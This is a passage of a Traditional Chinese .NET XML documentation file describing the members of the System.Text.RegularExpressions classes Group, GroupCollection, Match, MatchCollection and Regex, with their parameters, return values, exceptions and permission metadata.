<member name="P:System.Text.RegularExpressions.CaptureCollection.System#Collections#ICollection#SyncRoot">
<summary>取得物件,可用來對集合進行同步存取。</summary>
<returns>可用來同步存取集合的物件。</returns>
</member>
<member name="T:System.Text.RegularExpressions.Group">
<summary>表示單一擷取群組的結果。</summary>
</member>
<member name="P:System.Text.RegularExpressions.Group.Captures">
<summary>依照最內層最左邊為優先的順序,取得符合擷取群組的所有擷取的集合 (如果規則運算式使用 <see cref="F:System.Text.RegularExpressions.RegexOptions.RightToLeft" /> 選項修改,則依照最內層最右邊為優先的順序),集合可能有零個或更多項目。</summary>
<returns>符合群組的子字串集合。</returns>
</member>
<member name="P:System.Text.RegularExpressions.Group.Success">
<summary>取得值,指出比對是否成功。</summary>
<returns>如果比對成功,則為 true,否則為 false。</returns>
</member>
<member name="T:System.Text.RegularExpressions.GroupCollection">
<summary>在單一比對中傳回擷取之群組的集合。</summary>
</member>
<member name="P:System.Text.RegularExpressions.GroupCollection.Count">
<summary>傳回集合中的群組數。</summary>
<returns>集合中的群組數。</returns>
</member>
<member name="M:System.Text.RegularExpressions.GroupCollection.GetEnumerator">
<summary>提供逐一查看集合的列舉值。</summary>
<returns>列舉程式,包含 <see cref="T:System.Text.RegularExpressions.GroupCollection" /> 中的所有 <see cref="T:System.Text.RegularExpressions.Group" /> 物件。</returns>
</member>
<member name="P:System.Text.RegularExpressions.GroupCollection.Item(System.Int32)">
<summary>以整數索引啟用對集合成員的存取。</summary>
<returns>
<paramref name="groupnum" /> 指定的集合成員。</returns>
<param name="groupnum">要擷取之集合成員的以零起始的索引。</param>
</member>
<member name="P:System.Text.RegularExpressions.GroupCollection.Item(System.String)">
<summary>以字串索引啟用對集合成員的存取。</summary>
<returns>
<paramref name="groupname" /> 指定的集合成員。</returns>
<param name="groupname">擷取群組的名稱。</param>
</member>
<member name="M:System.Text.RegularExpressions.GroupCollection.System#Collections#ICollection#CopyTo(System.Array,System.Int32)">
<summary>複製集合的所有項目至指定索引處開始的指定陣列。</summary>
<param name="array">複製這個集合的目的地一維陣列。</param>
<param name="arrayIndex">目的陣列中以零為起始的索引 (複製開始之處)。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="array" /> 為 null。</exception>
<exception cref="T:System.IndexOutOfRangeException">
<paramref name="arrayIndex" /> 不在 <paramref name="array" /> 範圍內。-或-<paramref name="arrayIndex" /> 加上 <see cref="P:System.Text.RegularExpressions.GroupCollection.Count" /> 落在 <paramref name="array" /> 範圍以外。</exception>
</member>
<member name="P:System.Text.RegularExpressions.GroupCollection.System#Collections#ICollection#IsSynchronized">
<summary>取得值,指示對集合的存取是否為同步的 (安全執行緒)。</summary>
<returns>所有情況下都是 false。</returns>
</member>
<member name="P:System.Text.RegularExpressions.GroupCollection.System#Collections#ICollection#SyncRoot">
<summary>取得物件,這個物件可以用來對集合進行同步存取。</summary>
<returns>Object,可用來對集合同步存取。</returns>
</member>
<member name="T:System.Text.RegularExpressions.Match">
<summary>表示單一規則運算式 (Regular Expression) 比對的結果。</summary>
</member>
<member name="P:System.Text.RegularExpressions.Match.Empty">
<summary>取得空白群組。所有失敗的比對會傳回這個空白比對。</summary>
<returns>空的符合項目。</returns>
</member>
<member name="P:System.Text.RegularExpressions.Match.Groups">
<summary>取得符合規則運算式的群組集合。</summary>
<returns>符合模式的字元群組。</returns>
</member>
<member name="M:System.Text.RegularExpressions.Match.NextMatch">
<summary>自最後一個比對結束的位置 (在最後符合字元之後的字元) 開始,傳回具有下一個比對結果的新 <see cref="T:System.Text.RegularExpressions.Match" /> 物件。</summary>
<returns>下一個規則運算式相符項目。</returns>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="UnmanagedCode, ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Match.Result(System.String)">
<summary>傳回所指定取代模式的展開 (Expansion)。</summary>
<returns>
<paramref name="replacement" /> 參數的展開版本。</returns>
<param name="replacement">要使用的取代模式。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="replacement" /> 為 null。</exception>
<exception cref="T:System.NotSupportedException">這種模式不允許展開。</exception>
</member>
<member name="T:System.Text.RegularExpressions.MatchCollection">
<summary>表示藉由重複套用規則運算式 (Regular Expression) 模式至輸入字串,所找到的成功比對的集合。</summary>
</member>
<member name="P:System.Text.RegularExpressions.MatchCollection.Count">
<summary>取得符合項的數目。</summary>
<returns>符合項的數目。</returns>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="UnmanagedCode, ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.MatchCollection.GetEnumerator">
<summary>提供逐一查看集合的列舉值。</summary>
<returns>物件,包含 <see cref="T:System.Text.RegularExpressions.MatchCollection" /> 內的所有 <see cref="T:System.Text.RegularExpressions.Match" /> 物件。</returns>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。</exception>
</member>
<member name="P:System.Text.RegularExpressions.MatchCollection.Item(System.Int32)">
<summary>取得集合的個別成員。</summary>
<returns>在集合中位置 <paramref name="i" /> 上的擷取的子字串。</returns>
<param name="i">
<see cref="T:System.Text.RegularExpressions.Match" /> 集合內的索引。</param>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="i" /> 小於 0,或大於等於 <see cref="P:System.Text.RegularExpressions.MatchCollection.Count" />。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。</exception>
</member>
<member name="M:System.Text.RegularExpressions.MatchCollection.System#Collections#ICollection#CopyTo(System.Array,System.Int32)">
<summary>將集合的所有元素複製到以指定的索引為起始點的指定陣列。</summary>
<param name="array">複製這個集合的目的地一維陣列。</param>
<param name="arrayIndex">陣列中以零起始的索引 (複製開始之處)。</param>
<exception cref="T:System.ArgumentException">
<paramref name="array" /> 是多維陣列。</exception>
<exception cref="T:System.IndexOutOfRangeException">
<paramref name="arrayIndex" /> 不在陣列的範圍內。-或-<paramref name="arrayIndex" /> 加上 <see cref="P:System.Text.RegularExpressions.MatchCollection.Count" /> 落在 <paramref name="array" /> 範圍以外。</exception>
</member>
<member name="P:System.Text.RegularExpressions.MatchCollection.System#Collections#ICollection#IsSynchronized">
<summary>取得值,指示對集合的存取是否為同步的 (安全執行緒)。</summary>
<returns>所有情況下都是 false。</returns>
</member>
<member name="P:System.Text.RegularExpressions.MatchCollection.System#Collections#ICollection#SyncRoot">
<summary>取得物件,這個物件可以用來對集合進行同步存取。</summary>
<returns>Object,可用來對集合同步存取。這個屬性永遠傳回物件本身。</returns>
</member>
<member name="T:System.Text.RegularExpressions.MatchEvaluator">
<summary>表示每次在 <see cref="Overload:System.Text.RegularExpressions.Regex.Replace" /> 方法作業期間找到規則運算式 (Regular Expression) 相符項目時都會呼叫的方法。</summary>
<returns>字串,由 <see cref="T:System.Text.RegularExpressions.MatchEvaluator" /> 委派 (Delegate) 所表示的方法傳回。</returns>
<param name="match">
<see cref="T:System.Text.RegularExpressions.Match" /> 物件,表示 <see cref="Overload:System.Text.RegularExpressions.Regex.Replace" /> 方法作業期間的單一規則運算式相符項目。</param>
</member>
<member name="T:System.Text.RegularExpressions.Regex">
<summary>表示不變的規則運算式 (Regular Expression)。若要瀏覽此類型的.NET Framework 原始碼,請參閱參考來源。</summary>
</member>
<member name="M:System.Text.RegularExpressions.Regex.#ctor">
<summary>初始化 <see cref="T:System.Text.RegularExpressions.Regex" /> 類別的新執行個體。</summary>
</member>
<member name="M:System.Text.RegularExpressions.Regex.#ctor(System.String)">
<summary>為指定的規則運算式初始化 <see cref="T:System.Text.RegularExpressions.Regex" /> 類別的新執行個體。</summary>
<param name="pattern">要比對的規則運算式模式。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。 </exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="pattern" /> 為 null。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.#ctor(System.String,System.Text.RegularExpressions.RegexOptions)">
<summary>使用會修改模式的選項,為指定的規則運算式初始化 <see cref="T:System.Text.RegularExpressions.Regex" /> 類別的新執行個體。</summary>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,這些值會修改規則運算式。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。 </exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 包含無效的旗標。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.#ctor(System.String,System.Text.RegularExpressions.RegexOptions,System.TimeSpan)">
<summary>針對指定的規則運算式,使用修改模式的選項,以及指定在逾時前模式比對方法應該嘗試比對的時間長度的值,初始化 <see cref="T:System.Text.RegularExpressions.Regex" /> 類別的新執行個體。</summary>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,這些值會修改規則運算式。</param>
<param name="matchTimeout">間隔,若要表示此方法不會逾時則為 <see cref="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout" />。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是有效的 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值。-或-<paramref name="matchTimeout" /> 為負數、零或大約大於 24 天。</exception>
</member>
<member name="P:System.Text.RegularExpressions.Regex.CacheSize">
<summary>取得或設定在已編譯規則運算式目前靜態快取中項目的最大數目。</summary>
<returns>靜態快取中項目的最大數目。</returns>
<exception cref="T:System.ArgumentOutOfRangeException">設定作業中的值小於零。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Escape(System.String)">
<summary>以逸出程式碼取代字元 (\、*、+、?、|、{、[、(、)、^、$、.、# 和空白字元) 的最小集合,以便逸出這些字元。這樣會指示規則運算式引擎將這些字元解譯為常值,而非解譯為中繼字元。</summary>
<returns>字元字串,其中中繼字元已轉換為逸出格式。</returns>
<param name="str">輸入字串,包含要轉換的文字。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="str" /> 為 null。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.GetGroupNames">
<summary>傳回規則運算式的擷取群組名稱的陣列。</summary>
<returns>群組名稱的字串陣列。</returns>
<PermissionSet>
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="UnmanagedCode" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.GetGroupNumbers">
<summary>傳回對應陣列中群組名稱的擷取群組編號的陣列。</summary>
<returns>群組編號的整數陣列。</returns>
</member>
<member name="M:System.Text.RegularExpressions.Regex.GroupNameFromNumber(System.Int32)">
<summary>取得對應指定群組編號的群組名稱。</summary>
<returns>字串,含有與指定群組編號相關聯的群組名稱。如果沒有對應 <paramref name="i" /> 的群組名稱,方法會傳回 <see cref="F:System.String.Empty" />。</returns>
<param name="i">群組編號,要轉換至對應群組名稱的。</param>
</member>
<member name="M:System.Text.RegularExpressions.Regex.GroupNumberFromName(System.String)">
<summary>傳回對應指定群組名稱的群組編號。</summary>
<returns>對應指定群組名稱的群組編號;如果 <paramref name="name" /> 不是有效的群組名稱,則為 -1。</returns>
<param name="name">群組名稱,要轉換至對應群組編號的。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="name" /> 為 null。</exception>
</member>
<member name="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout">
<summary>指定模式比對作業不應逾時。</summary>
</member>
<member name="M:System.Text.RegularExpressions.Regex.IsMatch(System.String)">
<summary>表示 <see cref="T:System.Text.RegularExpressions.Regex" /> 建構函式中指定的規則運算式是否要在指定的輸入字串中尋找相符項目。</summary>
<returns>如果規則運算式尋找到符合項目,則為 true,否則為 false。</returns>
<param name="input">用來搜尋比對的字串。 </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.IsMatch(System.String,System.Int32)">
<summary>表示 <see cref="T:System.Text.RegularExpressions.Regex" /> 建構函式中所指定的規則運算式,是否要從字串中指定的起始位置開始,在指定的輸入字串中尋找相符項目。</summary>
<returns>如果規則運算式尋找到符合項目,則為 true,否則為 false。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="startat">要開始搜尋的字元位置。 </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="startat" /> 小於零或是大於 <paramref name="input" /> 的長度。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.IsMatch(System.String,System.String)">
<summary>表示指定的規則運算式是否在指定的輸入字串中尋找相符項目。</summary>
<returns>如果規則運算式尋找到符合項目,則為 true,否則為 false。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。 </param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.IsMatch(System.String,System.String,System.Text.RegularExpressions.RegexOptions)">
<summary>表示指定的規則運算式是否使用指定的比對選項,在指定的輸入字串中尋找相符項目。</summary>
<returns>如果規則運算式尋找到符合項目,則為 true,否則為 false。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。 </param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是有效的 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.IsMatch(System.String,System.String,System.Text.RegularExpressions.RegexOptions,System.TimeSpan)">
<summary>指出指定的規則運算式是否使用指定的比對選項和逾時間隔,在指定的輸入字串中尋找相符項目。</summary>
<returns>如果規則運算式尋找到符合項目,則為 true,否則為 false。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<param name="matchTimeout">間隔,若要表示此方法不會逾時則為 <see cref="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout" />。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是有效的 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值。-或-<paramref name="matchTimeout" /> 為負數、零或大約大於 24 天。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Match(System.String)">
<summary>在指定的輸入字串中,搜尋符合 <see cref="T:System.Text.RegularExpressions.Regex" /> 建構函式中所指定規則運算式的第一個項目。</summary>
<returns>物件,包含符合之項目的相關資訊。</returns>
<param name="input">用來搜尋比對的字串。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Match(System.String,System.Int32)">
<summary>從字串中指定的開始位置開始,在輸入字串中搜尋規則運算式的第一個相符項目。</summary>
<returns>物件,包含符合之項目的相關資訊。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="startat">要開始搜尋之以零起始的字元位置。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="startat" /> 小於零或是大於 <paramref name="input" /> 的長度。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Match(System.String,System.Int32,System.Int32)">
<summary>從指定的開始位置開始並且僅搜尋指定數目的字元,在輸入字串中搜尋規則運算式的第一個相符項目。</summary>
<returns>物件,包含符合之項目的相關資訊。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="beginning">定義要搜尋的最左邊位置的輸入字串中以零起始的字元位置。</param>
<param name="length">子字串中要包含以搜尋的字元數。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="beginning" /> 小於零或是大於 <paramref name="input" /> 的長度。-或-<paramref name="length" /> 小於零或是大於 <paramref name="input" /> 的長度。-或-<paramref name="beginning" />+<paramref name="length" />– 1 identifies a position that is outside the range of <paramref name="input" />.</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Match(System.String,System.String)">
<summary>在指定的輸入字串中搜尋所指定規則運算式的第一個相符項目。</summary>
<returns>物件,包含符合之項目的相關資訊。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Match(System.String,System.String,System.Text.RegularExpressions.RegexOptions)">
<summary>使用指定的比對選項,在輸入字串中搜尋所指定規則運算式的第一個相符項目。</summary>
<returns>物件,包含符合之項目的相關資訊。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Match(System.String,System.String,System.Text.RegularExpressions.RegexOptions,System.TimeSpan)">
<summary>使用指定的比對選項和逾時間隔,在輸入字串中搜尋所指定規則運算式的第一個相符項目。</summary>
<returns>物件,包含符合之項目的相關資訊。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<param name="matchTimeout">間隔,若要表示此方法不會逾時則為 <see cref="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout" />。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。-或-<paramref name="matchTimeout" /> 為負數、零或大約大於 24 天。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Matches(System.String)">
<summary>在指定的輸入字串搜尋規則運算式的所有項目。</summary>
<returns>搜尋之後找到的 <see cref="T:System.Text.RegularExpressions.Match" /> 物件集合。如果找不到相符的項目,此方法會傳回空集合物件。</returns>
<param name="input">用來搜尋比對的字串。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Matches(System.String,System.Int32)">
<summary>自字串中指定的開始位置開始,在指定的輸入字串搜尋規則運算式的所有項目。</summary>
<returns>搜尋之後找到的 <see cref="T:System.Text.RegularExpressions.Match" /> 物件集合。如果找不到相符的項目,此方法會傳回空集合物件。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="startat">在輸入字串中開始搜尋的字元位置。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="startat" /> 小於零或是大於 <paramref name="input" /> 的長度。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Matches(System.String,System.String)">
<summary>在指定的輸入字串搜尋所指定規則運算式的所有相符項目。</summary>
<returns>搜尋之後找到的 <see cref="T:System.Text.RegularExpressions.Match" /> 物件集合。如果找不到相符的項目,此方法會傳回空集合物件。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Matches(System.String,System.String,System.Text.RegularExpressions.RegexOptions)">
<summary>使用指定的比對選項在指定的輸入字串中,搜尋所指定規則運算式的所有相符項目。</summary>
<returns>搜尋之後找到的 <see cref="T:System.Text.RegularExpressions.Match" /> 物件集合。如果找不到相符的項目,此方法會傳回空集合物件。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,這些值會指定用於比對的選項。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Matches(System.String,System.String,System.Text.RegularExpressions.RegexOptions,System.TimeSpan)">
<summary>使用指定的比對選項和逾時間隔,在指定的輸入字串中搜尋所指定規則運算式的所有相符項目。</summary>
<returns>搜尋之後找到的 <see cref="T:System.Text.RegularExpressions.Match" /> 物件集合。如果找不到相符的項目,此方法會傳回空集合物件。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,這些值會指定用於比對的選項。</param>
<param name="matchTimeout">間隔,若要表示此方法不會逾時則為 <see cref="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout" />。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。-或-<paramref name="matchTimeout" /> 為負數、零或大約大於 24 天。</exception>
</member>
<member name="P:System.Text.RegularExpressions.Regex.MatchTimeout">
<summary>取得目前執行個體的逾時間隔。</summary>
